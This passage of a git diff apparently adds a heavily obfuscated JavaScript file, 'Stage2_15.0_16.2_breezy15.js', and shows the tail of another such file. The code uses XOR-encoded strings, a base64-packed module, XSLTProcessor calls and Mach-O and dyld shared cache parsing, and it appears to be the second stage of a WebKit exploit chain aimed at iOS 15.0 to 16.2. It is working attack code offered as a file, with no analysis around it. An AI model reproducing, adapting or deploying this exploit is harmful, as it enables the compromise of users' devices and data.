94, 95, 66, 30, 112, 30, 114, 94, 67, 84, 100, 69, 88, 93, 66].map(x => {return String.fromCharCode(x ^ 49);}).join("")),([39, 5, 30, 1, 22, 3, 18, 49, 5, 22, 26, 18, 0, 24, 5, 28, 4, 88, 52, 24, 5, 18, 34, 3, 30, 27, 4, 89, 17, 5, 22, 26, 18, 0, 24, 5, 28, 88, 52, 24, 5, 18, 34, 3, 30, 27, 4].map(x => {return String.fromCharCode(x ^ 119);}).join(""))],[(4294967296 + (913785954 ^ -478910691)),(4294967296 + (1650673459 ^ -874706745)),(4294967296 + (1884111695 ^ -649316174)),(4294967296 + (1982950254 ^ -416208749)),(4294967296 + (1903185510 ^ -613397099)),(4294967296 + (1481198434 ^ -1470143734)),(4294967296 + (1718242100 ^ -1624593860)),(4294967296 + (1280920431 ^ -1704574352)),(4294967296 + (1936286057 ^ -1972804855)),(4294967296 + (1800821346 ^ -1038671457)),(4294967296 + (1112827250 ^ -359257466)),(4294967296 + (2037002361 ^ -1355464826))]),b=c.uc([([54, 21, 23, 31, 1, 4, 90, 18, 6, 21, 25, 17, 3, 27, 6, 31, 91, 34, 17, 6, 7, 29, 27, 26, 7, 91, 53, 91, 54, 21, 23, 31, 1, 4].map(x => {return String.fromCharCode(x ^ 116);}).join("")),([61, 56, 51, 62, 60, 48, 53, 60, 127, 53, 40, 61, 56, 51].map(x => {return String.fromCharCode(x ^ 81);}).join(""))],[(4294967296 + (1751806789 ^ -664713459)),(4294967296 + (843804748 ^ -888559283)),(4294967296 + (1967353711 ^ -1052545042)),(4294967296 + (1984051564 ^ -968291036)),(4294967296 + (841831244 ^ -881881524)),(4294967296 + (1347901031 ^ -2042077608)),(4294967296 + (1951420023 ^ -1576055369))]),I={},e=t.Nc(a),g=c.Cc([([47, 41, 45, 15, 18].map(x => {return String.fromCharCode(x ^ 102);}).join(""))],[(4294967296 + (1749372530 ^ -1056487814)),(4294967296 + (828328258 ^ -937471677)),(4294967296 + (1280788557 ^ -429962323)),(4294967296 + (1315731541 ^ -1737265142))]).yc,y=b.Ic,C=b.gc[0],u=b.gc[1];i.Br((()=>{I.Ec=t.Nc(y)}),{Ir:u,Zt:e},{Ir:C,Zt:e});const r=d.Ic,n=d.gc[0];i.Br((()=>{I.jc=t.Nc(r)}),{Ir:n,Zt:e});const K=(c,l,o)=>(i.Jr(this.fc+40,c),i.Jr(this.fc+32,l),i.Jr(this.fc+48,o),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:I.Ec},{Ir:u,Zt:x.Vt.ut(this.fc)},{Ir:C,Zt:I.jc},{Ir:n,Zt:g}),i.rr(this.fc));this.Bc=t.Dc(K,h),this.Oc=t.Dc(K,l);this.Yc=(c,l,o,a)=>(i.Jr(this.fc+0,c),i.Jr(this.fc+8,l),i.Jr(this.fc+16,o),i.Jr(this.fc+24,a),i.Br((()=>{s.Hc()}),{Ir:t.Rc,Zt:I.Ec},{Ir:u,Zt:x.Vt.ut(this.fc)},{Ir:C,Zt:I.jc},{Ir:n,Zt:this.Bc}),i.rr(this.fc)),this.Uc=new ArrayBuffer(64),this.Jc=i.Mr(this.Uc),this.Fc=x.Vt.ut(this.Jc),x.D(this.Uc),this.Xc={da:(4294967296 + (1817456999 ^ -1823133337)),er:(4294967296 + (1131050052 ^ -1133939644)),ha:(4294967296 + (879583826 ^ -882351534)),wa:(4294967296 + (1162041669 ^ -1169925819))};this.Lc=(t,i,c)=>{const s=Math.abs(c.et>>>16);return P.zn.Xn.write32x2(this.Jc,0,t|s),this.Yc(this.Oc,this.Fc,c,i)}}}class at{constructor(){this._c='',this.qc=(new DOMParser).parseFromString(([81, 12, 83, 81, 15, 83, 81, 14, 83, 92, 81, 66, 14, 83, 81, 66, 15, 83, 81, 15, 83, 81, 14, 83, 95, 81, 66, 14, 83, 81, 66, 15, 83, 81, 66, 12, 83].map(x => {return String.fromCharCode(x ^ 109);}).join("")),([45, 60, 33, 45, 118, 33, 52, 53].map(x => {return String.fromCharCode(x ^ 89);}).join("")));const t=this._c,i=new XSLTProcessor,c=(new DOMParser).parseFromString(t,([77, 92, 65, 77, 22, 65, 84, 85].map(x => {return String.fromCharCode(x ^ 57);}).join(""))),s=this.qc;i.importStylesheet(c),this.Hc=()=>{i.transformToDocument(s)}}Vc(){this.$c(),this.Hc()}$c(){const t=this._c.replace(([54, 13, 43, 34, 34, 48].map(x => {return String.fromCharCode(x ^ 77);}).join("")),([55, 62, 62].map(x => {return String.fromCharCode(x ^ 81);}).join(""))),i=new XSLTProcessor,c=(new DOMParser).parseFromString(t,([18, 3, 30, 18, 73, 30, 11, 10].map(x => {return String.fromCharCode(x ^ 102);}).join(""))),s=this.qc;i.importStylesheet(c),i.transformToDocument(s)}Ia(){const t=new XSLTProcessor,i=(new DOMParser).parseFromString(([4, 64, 75, 84, 2, 75, 76, 65, 84, 93, 75, 80, 93, 93, 76, 24, 64, 85, 84, 86, 75, 2, 64, 75, 84, 5, 26, 80, 76, 76, 72, 2, 23, 23, 79, 79, 79, 22, 79, 11, 22, 87, 74, 95, 23, 9, 1, 1, 1, 23, 96, 107, 116, 23, 108, 74, 89, 86, 75, 94, 87, 74, 85, 26, 24, 78, 93, 74, 75, 81, 87, 86, 5, 26, 9, 22, 8, 26, 6, 4, 23, 64, 75, 84, 2, 75, 76, 65, 84, 93, 75, 80, 93, 93, 76, 6].map(x => {return String.fromCharCode(x ^ 56);}).join("")),([70, 87, 74, 70, 29, 74, 95, 94].map(x => {return String.fromCharCode(x ^ 50);}).join("")));t.importStylesheet(i),t.transformToDocument(i)}}return r.ga=function(){return new st},r; \ No newline at end of file diff --git a/other/Stage2_15.0_16.2_breezy15.js b/other/Stage2_15.0_16.2_breezy15.js new file mode 100644 index 0000000..2294397 --- /dev/null +++ b/other/Stage2_15.0_16.2_breezy15.js @@ -0,0 +1 @@ +let r={};globalThis.obChTK.fgPoij(([41, 42, 124, 122, 121, 46, 45, 125, 40, 122, 41, 45, 121, 123, 124, 126, 115, 46, 125, 114, 42, 41, 114, 127, 126, 47, 121, 40, 47, 45, 47, 126, 122, 46, 126, 120, 47, 40, 47, 115].map(x => {return String.fromCharCode(x ^ 75);}).join("")),"bGV0IHI9e307Y29uc3QgeD1nbG9iYWxUaGlzLm9iQ2hUSy5oUEwzT24oKFsxMjUsIDEyNywgMTI2LCAxMjIsIDEyMCwgMTIyLCAxMjAsIDEyNiwgNDQsIDEyNiwgMTIyLCAxMjAsIDEyNywgMTEzLCA0MiwgNDEsIDQxLCA0NCwgMTIwLCA0NSwgMTI1LCAxMjcsIDQ1LCAxMjYsIDQ0LCAxMTMsIDQ1LCA0MywgMTEzLCAxMjMsIDEyMSwgMTIyLCAxMjAsIDQzLCAxMjAsIDQ2LCAxMjUsIDEyMiwgMTI0LCAxMjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzIpO30pLmpvaW4oIiIpKSkse046R309Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNjUsIDY3LCA2NiwgNzAsIDY4LCA3MCwgNjgsIDY2LCAxNiwgNjYsIDcwLCA2OCwgNjcsIDc3LCAyMiwgMjEsIDIxLCAxNiwgNjgsIDE3LCA2NSwgNjcsIDE3LCA2NiwgMTYsIDc3LCAxNywgMjMsIDc3LCA3MSwgNjksIDcwLCA2OCwgMjMsIDY4LCAxOCwgNjUsIDcwLCA2NCwgNjddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE2KTt9KS5qb2luKCIiKSkpLFA9Z2xvYmFsVGhpcy5vYkNoVEsuaFBMM09uKChbNCwgMSwgMywgMywgMTIsIDg2LCA4NCwgNiwgODcsIDQsIDAsIDQsIDEyLCA4NywgODQsIDcsIDg0LCAxMywgODMsIDEsIDUsIDg3LCA4MCwgNywgMTMsIDIsIDgzLCAzLCAxLCAzLCA4MSwgMSwgODEsIDIsIDAsIDEyLCA2LCA4MCwgODcsIDVdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTMpO30pLmpvaW4oIiIpKSkse3puOkZ9PWdsb2JhbFRoaXMub2JDaFRLLmhQTDNPbigoWzEwNywgMTEwLCAxMDgsIDEwOCwgOTksIDU3LCA1OSwgMTA1LCA1NiwgMTA3LCAxMTEsIDEwNywgOTksIDU2LCA1OSwgMTA0LCA1OSwgOTgsIDYwLCAxMTAsIDEwNiwgNTYsIDYzLCAxMDQsIDk4LCAxMDksIDYwLCAxMDgsIDExMCwgMTA4LCA2MiwgMTEwLCA2MiwgMTA5LCAxMTEsIDk5LCAxMDUsIDYzLCA1NiwgMTA2XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKTt9KS5qb2luKCIiKSkpLFo9Ri5MbjtmdW5jdGlvbiBZKHQscj0hMSl7Y29uc3QgZT1QLnpuLlhuLG49ZS5pcih0LkgoMTYpKTtsZXQgcz10LkgoMzIpLGk9bmV3IHguVnQoMCwwKSxvPSEwLGg9ITEsYz1udWxsLGw9bnVsbCxmPW51bGwsYT0wLHU9bnVsbCxkPW51bGwsdz1udWxsLGc9bnVsbCxtPSExO2NvbnN0IEU9W107Zm9yKGxldCBmPTA7ZjxuO2YrKyl7Y29uc3Qgbj1lLmlyKHMpLGY9ZS5pcihzLkgoNCkpO3N3aXRjaChuKXtjYXNlIDE1Om09ITA7YnJlYWs7Y2FzZSA1MDpyJiYxPT09ZS5pcihzLkgoOCkpJiYodz0hMCxnPWUuaXIocy5IKDEyKSkpO2JyZWFrO2Nhc2UgMjU6e2NvbnN0IG49e1hlOmUuVHIocy5IKDgpLDE2KSxxZTplLlVyKHMuSCgyNCkpLEVvOmUuVXIocy5IKDI0KSksT286ZS5VcihzLkgoMzIpKSxRZTplLlVyKHMuSCg0MCkpLHpvOmUuVXIocy5IKDQ4KSksJG86ZS5pcihzLkgoNTYpKSxxbzplLmlyKHMuSCg2MCkpLE1vOmUuaXIocy5IKDY0KSksZmxhZ3M6ZS5pcihzLkgoNjgpKSxEbzpzLkgoNzIpLExvOnt9LGR1bXAoKXt9fTtpZihyKWZvcihsZXQgdD0wO3Q8bi5Nbzt0Kz0xKXtjb25zdCByPW4uRG8uSCg4MCp0KSxzPXtYZTplLlRyKHIuSCgxNiksMTYpLFZvOmUuVHIoci5IKDApLDE2KSxxZTplLlVyKHIuSCgzMikpLE9vOmUuVXIoci5IKDQwKSksUWU6ZS5pcihyLkgoNDgpKSxkdW1wKCl7fX07bi5Mb1tzLlZvXT1zfXN3aXRjaChFLnB1c2gobiksbi5YZSl7Y2FzZShbMTExLCAxMTEsIDEwMCwgMTE3LCAxMDQsIDEwMF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA0OCk7fSkuam9pbigiIikpOm4uUWUuRXQoKT9vPSExOmw9dC5zdWIobi5RZSksaT10LnN1YihuLnFlKTticmVhaztjYXNlKFsxMDUsIDEwNSwgMTIyLCAxMjcsIDEyMCwgMTI1LCAxMTUsIDExNCwgMTI3LCA5OF0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA1NCk7fSkuam9pbigiIikpOnU9bi5xZS5hZGQoaSkuc3ViKG4uUWUpO2JyZWFrO2Nhc2UoWzQ0LCA0NCwgNTAsIDM4LCAzOSwgNTksIDQ0LCA0OCwgNjAsIDYxLCAzMiwgMzldLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTE1KTt9KS5qb2luKCIiKSk6aWYocil7Y29uc3QgdD1uLkxvLl9fYXV0aF9nb3Q7dm9pZCAwIT09dCYmKGQ9dC5xZS5hZGQoaSkpfX1icmVha31jYXNlICg0Mjk0OTY3Mjk2ICsgKDkyOTkxNjc4MyBeIC0xMjE3NTY2ODk5KSk6aD0hMCxjPWUuaXIocy5IKDQwKSksYT1lLmlyKHMuSCg0NCkpO2JyZWFrO2Nhc2UgKDQyOTQ5NjcyOTYgKyAoMTg2NzY1ODMyOSBeIC0yNzk4MjUzMDIpKTpoPSEwLGM9ZS5pcihzLkgoOCkpLGE9ZS5pcihzLkgoMTIpKX1zPXMuSChmKX1sZXQgXz1pO2lmKHImJiFvJiYhbSl7Y29uc3Qgcj1lLmlyKHQuSCg0KSk7aWYodyYmKDE5MzI2ODM2MDggXiAxOTE1OTA2Mzg4KT09PXImJmc+PSgxNDY2ODQ5NjUwIF4gMTQ2NjI1OTgyNikpe2lmKG51bGw9PT1kKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHQ9ZS5VcihkKS5EdCgpO2lmKHQuRXQoKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2Zvcih0PXQuQnQodC5pdCUoMTY5OTE2OTY0NiBeIDE2OTkxNzM3NDIpKTsoNDI5NDk2NzI5NiArICgxMzE0NDA0NDA0IF4gLTEzMzAyNjUzNDkpKSE9PWUuaXIodCk7KXQ9dC5CdCgoMTcxNDk3MjQ5MSBeIDE3MTQ5NzY1ODcpKTtjb25zdCByPXRoaXMuWG8odCk7bD1yLkhvLlpvLF89ci5Iby5Lb319Zm9yKGxldCB0PTA7dDxFLmxlbmd0aDt0Kyspe2NvbnN0IHI9RVt0XSxlPXIucWU7ci5xZT1lLmFkZChpKX1yZXR1cm4gaCYmYyYmKGY9dS5IKGMpKSxuZXcgdHQoe0dvOnQsSm86bixRbzppLFlvOnUsWm86bCxLbzpfLHRoOmYscmg6YX0sRSl9ci51cj1mdW5jdGlvbigpe3JldHVybiBZKFAuem4ueW4sITApfSxyLlhvPVk7Y2xhc3MgdHR7Y29uc3RydWN0b3IodCxyKXt0aGlzLkhvPXQsdGhpcy5laD1yLHRoaXMubmg9bmV3IFVpbnQ4QXJyYXkoW10pLHRoaXMuc2g9ITF9c3IoKXtyZXR1cm4gbmV3IHJ0KHRoaXMpfWFyKCl7cmV0dXJuIG5ldyBldCh0aGlzKX1paCh0KXtjb25zdCByPXRoaXMub2goKFsxMDddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNTIpfSkuam9pbigiIikpICsgKHQpKTtyZXR1cm4gcj90aGlzLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1vaCh0KXtpZighMT09PXRoaXMuc2gpe3RoaXMuc2g9ITA7Y29uc3QgdD1uZXcgVWludDMyQXJyYXkodGhpcy5Iby5yaCszPj4yKTtmb3IobGV0IHI9MDtyPHQubGVuZ3RoO3IrKyl0W3JdPVAuem4uWG4uaXIodGhpcy5Iby50aC5IKDQqcikpO3RoaXMubmg9bmV3IFVpbnQ4QXJyYXkodC5idWZmZXIpfWNvbnN0IHI9dGhpcy5uaDtsZXQgZT0iIixuPTAscz0hMTtmb3IoOyFzOyl7cz0hMDtsZXQgaT0wLG89MDtkb3tpKz0oKDIwMDQ1MDQ0MDcgXiAyMDA0NTA0MzYwKSZyW25dKTw8byxvKz03fXdoaWxlKCgxNTk4MTkyMjM4IF4gMTU5ODE5MjM2NikmcltuKytdKTtpZihlPT09dCYmMCE9PWkpe24rKztsZXQgdD0wO289MDtkb3t0Kz0oKDIwMTg5OTI2OTEgXiAyMDE4OTkyNzE2KSZyW25dKTw8byxvKz03fXdoaWxlKCgxNzgzNzE2MTgwIF4gMTc4MzcxNjMwOCkmcltuKytdKTtyZXR1cm4gdH1uKz1pO2NvbnN0IGg9cltuKytdO2ZvcihsZXQgaT0wO2k8aDtpKyspe2xldCBpPSIiO2Zvcig7MCE9PXJbbl07KWkrPVN0cmluZy5mcm9tQ2hhckNvZGUocltuKytdKTtuKys7bGV0IGg9MDtvPTA7ZG97aCs9KCgyMDUzNTMwNDc5IF4gMjA1MzUzMDM4NCkmcltuXSk8PG8sbys9N313aGlsZSgoMTkzNjk0NjUxNCBeIDE5MzY5NDY2NDIpJnJbbisrXSk7aWYoaS5sZW5ndGgmJmUraT09PXQuc3Vic3RyKDAsZS5sZW5ndGgraS5sZW5ndGgpKXtlKz1pLG49aCxzPSExO2JyZWFrfX19cmV0dXJuIDB9fWNsYXNzIHJ0e2NvbnN0cnVjdG9yKHQpe3RoaXMuaGg9dCx0aGlzLmxoPXRoaXMuaGguSG8uR299aWgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbMTA5XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDUwKX0pLmpvaW4oIiIpKSArICh0KSk7cmV0dXJuIHI/dGhpcy5oaC5Iby5Hby5IKHIpOm5ldyB4LlZ0KDAsMCl9ZmgodCl7Y29uc3Qgcj10aGlzLmhoLm9oKChbNTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTAyKX0pLmpvaW4oIiIpKSArICh0KSk7aWYoIXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcj90aGlzLmhoLkhvLkdvLkgocik6bmV3IHguVnQoMCwwKX1haCh0KXtyZXR1cm4gMCE9PXRoaXMuaGgub2goKFs1XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDkwKX0pLmpvaW4oIiIpKSArICh0KSl9dWgoLi4udCl7Zm9yKGNvbnN0IHIgb2YgdCl0cnl7cmV0dXJuIHRoaXMuZmgocil9Y2F0Y2godCl7Y29udGludWV9dGhyb3cgbmV3IEVycm9yKCIiKX19Y2xhc3MgZXR7Y29uc3RydWN0b3IodCl7dGhpcy5oaD10LHRoaXMuZGg9bnVsbCx0aGlzLndoPXRoaXMuaGguSG8uR28ueXQoKX1paCh0KXtjb25zdCByPXRoaXMuaGgub2goKFsyNV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA3MCl9KS5qb2luKCIiKSkgKyAodCkpO3JldHVybiByP3RoaXMud2grcjowfXVoKC4uLnQpe2Zvcihjb25zdCByIG9mIHQpdHJ5e3JldHVybiB0aGlzLmZoKHIpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9YWgodCl7cmV0dXJuIDAhPT10aGlzLmhoLm9oKChbMTddLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gNzgpfSkuam9pbigiIikpICsgKHQpKX1maCh0KXtjb25zdCByPXRoaXMuaGgub2goKFs1MV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiAxMDgpfSkuam9pbigiIikpICsgKHQpKTtpZighcil0aHJvdyBuZXcgRXJyb3IoIiIpO3JldHVybiB0aGlzLndoK3J9Z2godCl7cmV0dXJue1hlOnQuWGUscWU6dC5xZS55dCgpLEVvOnQuRW8ueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpLHpvOnQuem8ueXQoKSwkbzp0LiRvLHFvOnQucW8sTW86dC5NbyxmbGFnczp0LmZsYWdzLERvOnQuRG8ueXQoKSxMbzp0LkxvfX1taCh0KXtyZXR1cm57WGU6dC5YZSxWbzp0LlZvLHFlOnQucWUueXQoKSxPbzp0Lk9vLnl0KCksUWU6dC5RZS55dCgpfX1FaCh0KXtmb3IobGV0IHI9MDtyPHRoaXMuaGguZWgubGVuZ3RoO3IrKylpZih0aGlzLmhoLmVoW3JdLlhlPT09dClyZXR1cm4gdGhpcy5naCh0aGlzLmhoLmVoW3JdKTtyZXR1cm4gbnVsbH1faCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSl7aWYoMCE9PU9iamVjdC5rZXlzKGUuTG8pLmxlbmd0aCl7Y29uc3QgdD1lLkxvW3JdO3JldHVybiB2b2lkIDAhPT10P3RoaXMubWgodCk6bnVsbH17bGV0IG49bnVsbDtmb3IobGV0IHM9MDtzPGUuTW87cysrKXtjb25zdCBpPWUuRG8rODAqcyxvPXQsaD1QLnpuLlhuLkVyKGksMTYpLGM9e1hlOm8sVm86aCxxZTpQLnpuLlhuLnJyKGkrMzIpLmFkZCh0aGlzLmhoLkhvLlFvKSxPbzpQLnpuLlhuLnJyKGkrNDApLFFlOlAuem4uWG4ucnIoaSs0OCl9O3I9PT1oJiYobj1jKSxlLkxvW2hdPWN9cmV0dXJuIG4/dGhpcy5taChuKTpudWxsfX1yZXR1cm4gbnVsbH1iaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsIT09ZSlmb3IobGV0IG49MDtuPGUuTW87bisrKXtjb25zdCBzPWUuRG8rODAqbixpPXQsbz1QLnpuLlhuLkVyKHMsMTYpO2lmKHI9PT1vKXtjb25zdCB0PXtYZTppLFZvOm8scWU6UC56bi5Ybi5ycihzKzMyKS5hZGQodGhpcy5oaC5Iby5RbyksT286UC56bi5Ybi5ycihzKzQwKSxRZTpQLnpuLlhuLnJyKHMrNDgpfTtyZXR1cm4gdGhpcy5taCh0KX19cmV0dXJuIG51bGx9cGgodCl7Y29uc3Qgcj10aGlzLkVoKHQpO2lmKCFyKXRocm93IG5ldyBFcnJvcigiIik7cmV0dXJuIHJ9U2goKXtyZXR1cm4gbnVsbD09PXRoaXMuZGgmJih0aGlzLmRoPW5ldyBudCh0aGlzLmhoLkhvLktvLnl0KCksdGhpcy5oaC5Iby5aby55dCgpKSksdGhpcy5kaH14aCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ucnIocik6bmV3IHguVnQoMCwwKX1JaCh0KXtjb25zdCByPXRoaXMucGgoKFs2MSwgNjEsIDU0LCAzOSwgNTgsIDU0XS5tYXAoeCA9PiB7cmV0dXJuIFN0cmluZy5mcm9tQ2hhckNvZGUoeCBeIDk4KTt9KS5qb2luKCIiKSkpO3JldHVybiB0LXIuRW8rci5xZX1UaCh0KXtjb25zdCByPXRoaXMuaWgodCk7cmV0dXJuIDAhPT1yP1Auem4uWG4ubnIocik6MH15aCh0LHIpe2NvbnN0IGU9dGhpcy5paCh0KTtyZXR1cm4gMCE9PWU/UC56bi5Ybi5TcihlKTpyfWtoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpe2NvbnN0IG49ZS5xZSt0O2lmKFAuem4uWG4uYnIobik9PT1yPj4+MCYmUC56bi5Ybi5icihuKzQpPT09ci80Mjk0OTY3Mjk2Pj4+MClyZXR1cm4gbn10aHJvdyBuZXcgRXJyb3IoIiIpfU9oKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgbj1lLnFlLHM9ZS5xZStlLk9vO3JldHVybiByPj1uJiZyPHN9emgodCxyLGUpe2NvbnN0IG49dGhpcy5faCh0LHIpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz1uLnFlLGk9bi5xZStuLk9vO3JldHVybiBlPj1zJiZlPGl9UGgodCl7Zm9yKGxldCByPTA7cjx0aGlzLmhoLmVoLmxlbmd0aDtyKyspaWYodGhpcy5PaCh0aGlzLmhoLmVoW3JdLlhlLHQpKXJldHVybiEwO3JldHVybiExfVVoKHQscil7Y29uc3QgZT10aGlzLkVoKHQpO2lmKG51bGw9PT1lKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxlLk9vO3QrPTgpaWYoUC56bi5Ybi5EcihlLnFlK3QpPT09cilyZXR1cm4gZS5xZSt0O3Rocm93IG5ldyBFcnJvcigiIil9QWgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OClpZihQLnpuLlhuLkRyKGUucWUrdCk9PT1yKXJldHVybiBQLnpuLlhuLnJyKGUucWUrdCk7dGhyb3cgbmV3IEVycm9yKCIiKX0kaCh0LHIsZSl7Y29uc3Qgbj10aGlzLkVoKHQpO2lmKG51bGw9PT1uKXRocm93IG5ldyBFcnJvcigiIik7Y29uc3Qgcz10aGlzLkVoKHIpO2lmKG51bGw9PT1zKXRocm93IG5ldyBFcnJvcigiIik7Zm9yKGxldCB0PTA7dDxzLk9vO3QrPTgpe2NvbnN0IHI9UC56bi5Ybi5EcihzLnFlK3QpO2lmKHI+PW4ucWUmJnI8bi5xZStuLk9vJiYhMD09PWUocixQLnpuLlhuLnJyKHMucWUrdCkpKWJyZWFrfX1xaCh0LHIpe2NvbnN0IGU9dGhpcy5FaCh0KTtpZihudWxsPT09ZSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgdD0wO3Q8ZS5Pbzt0Kz00KXtjb25zdCBuPWUucWUrdDtpZighMD09PXIobixQLnpuLlhuLmJyKG4pKSlicmVha319UmgodCxyKXtjb25zdCBlPXRoaXMuRWgodCk7aWYobnVsbD09PWUpdGhyb3cgbmV3IEVycm9yKCIiKTtmb3IobGV0IHQ9MDt0PGUuT287dCs9OCl7Y29uc3Qgbj1lLnFlK3Q7aWYoITA9PT1yKFoudXQobikpKWJyZWFrfX1DaCh0KXtmb3IoY29uc3QgciBvZiB0aGlzLmhoLmVoKXtjb25zdCBlPVoudXQoci5xZSksbj1aLnV0KHIucWUpLkgoeC5fKHIuT28pKTtpZih0LlBpKGUpJiZ0LlNpKG4pKXJldHVybiByfXJldHVybiBudWxsfX1jbGFzcyBudHtjb25zdHJ1Y3Rvcih0LHIpe3RoaXMuTWg9dCx0aGlzLkRoPXIsdGhpcy5MaD0hMSx0aGlzLkJoPXt9LHRoaXMuaW1hZ2VzPXRoaXMuTmgoKX1WaCgpe3JldHVybiBQLnpuLlhuLkVyKHRoaXMuRGgpfVhoKCl7cmV0dXJuKFs1NCwgNDMsIDYyLCA1NCwgMTMsIDM2LCA5OSwgMTE0LCAxMTQsIDUxLCAzMiwgNjMsIDEwMCwgMTAyLCA1NV0ubWFwKHggPT4ge3JldHVybiBTdHJpbmcuZnJvbUNoYXJDb2RlKHggXiA4Mik7fSkuam9pbigiIikpPT09dGhpcy5WaCgpfVpoKCl7cmV0dXJuIHRoaXMuTWh9TmgoKXtjb25zdCB0PVtdO2lmKCF0aGlzLlZoKCkuc3RhcnRzV2l0aCgoWzEzLCAxNiwgNSwgMTNdLm1hcCh4ID0+IHtyZXR1cm4gU3RyaW5nLmZyb21DaGFyQ29kZSh4IF4gMTA1KTt9KS5qb2luKCIiKSkpKXRocm93IG5ldyBFcnJvcigiIik7bGV0IHI9UC56bi5Ybi5icih0aGlzLkRoKzI0KSxlPVAuem4uWG4uYnIodGhpcy5EaCsyOCk7aWYoMD09PXImJjA9PT1lJiYodGhpcy5MaD0hMCxyPVAuem4uWG4uYnIodGhpcy5EaCsoMTI4MjY5MjE4NiBeIDEyODI2OTI1MDYpKSxlPVAuem4uWG4uYnIodGhpcy5EaCsoOTQ2ODkwMzA2IF4gOTQ2ODkwNjMwKSksMD09PXImJjA9PT1lKSl0aHJvdyBuZXcgRXJyb3IoIiIpO2ZvcihsZXQgbj0wO248ZTtuKyspe2NvbnN0IGU9dGhpcy5EaCtyKzMyKm4scz1QLnpuLlhuLkRyKGUpK3RoaXMuTWgsaT1QLnpuLlhuLmJyKGUrMjQpLG89UC56bi5Ybi5Fcih0aGlzLkRoK2kpO3QucHVzaCh7YWRkcmVzczpzLHBhdGg6b30pfXJldHVybiB0fWpoKCl7Y29uc3QgdD1bXTtmb3IoY29uc3QgciBvZiB0aGlzLmltYWdlcyl0LnB1c2goci5wYXRoKTtyZXR1cm4gdH1GaCh0LHIpe3JldHVybiB0aGlzLkhoKHQpLmZoKHIpfUtoKHQpe2Zvcihjb25zdCByIG9mIHRoaXMuaW1hZ2VzKXRyeXtyZXR1cm4gdGhpcy5IaChyLnBhdGgpLmZoKHQpfWNhdGNoKHQpe2NvbnRpbnVlfXRocm93IG5ldyBFcnJvcigiIil9R2godCl7Zm9yKGxldCByPTA7cjx0aGlzLmltYWdlcy5sZW5ndGg7cisrKWlmKC0xIT09dGhpcy5pbWFnZXNbcl0ucGF0aC5pbmRleE9mKHQpKXJldHVybiB0aGlzLmltYWdlc1tyXS5hZGRyZXNzO3JldHVybiAwfUhoKHQpe2lmKHZvaWQgMD09PXRoaXMuQmhbdF0pe2NvbnN0IHI9dGhpcy5HaCh0KTtpZigwPT09cilyZXR1cm4gbnVsbDt0aGlzLkJoW3RdPVkoeC5WdC51dChyKSkuYXIoKX1yZXR1cm4gdGhpcy5CaFt0XX1KaCh0KXtjb25zdCByPXRoaXMuSGgodCk7aWYobnVsbD09PXIpdGhyb3cgbmV3IEVycm9yKCIiKTtyZXR1cm4gcn1RaCguLi50KXtmb3IoY29uc3QgciBvZiB0KXRyeXtyZXR1cm4gdGhpcy5KaChyKX1jYXRjaCh0KXt9dGhyb3cgbmV3IEVycm9yKCIiKX19cmV0dXJuIHI7");const x=globalThis.obChTK.hPL3On(([96, 98, 99, 103, 101, 103, 101, 99, 49, 99, 103, 101, 98, 108, 55, 52, 52, 49, 101, 48, 96, 98, 48, 99, 49, 108, 48, 54, 108, 102, 100, 103, 101, 54, 101, 51, 96, 103, 97, 98].map(x => {return String.fromCharCode(x ^ 85);}).join(""))),{N:G,tn:W,nn:C,Vt:m,U:j,An:S,vn:O,v:o,I:u,B:s}=globalThis.obChTK.hPL3On(([68, 70, 71, 67, 65, 67, 65, 71, 21, 71, 67, 65, 70, 72, 19, 16, 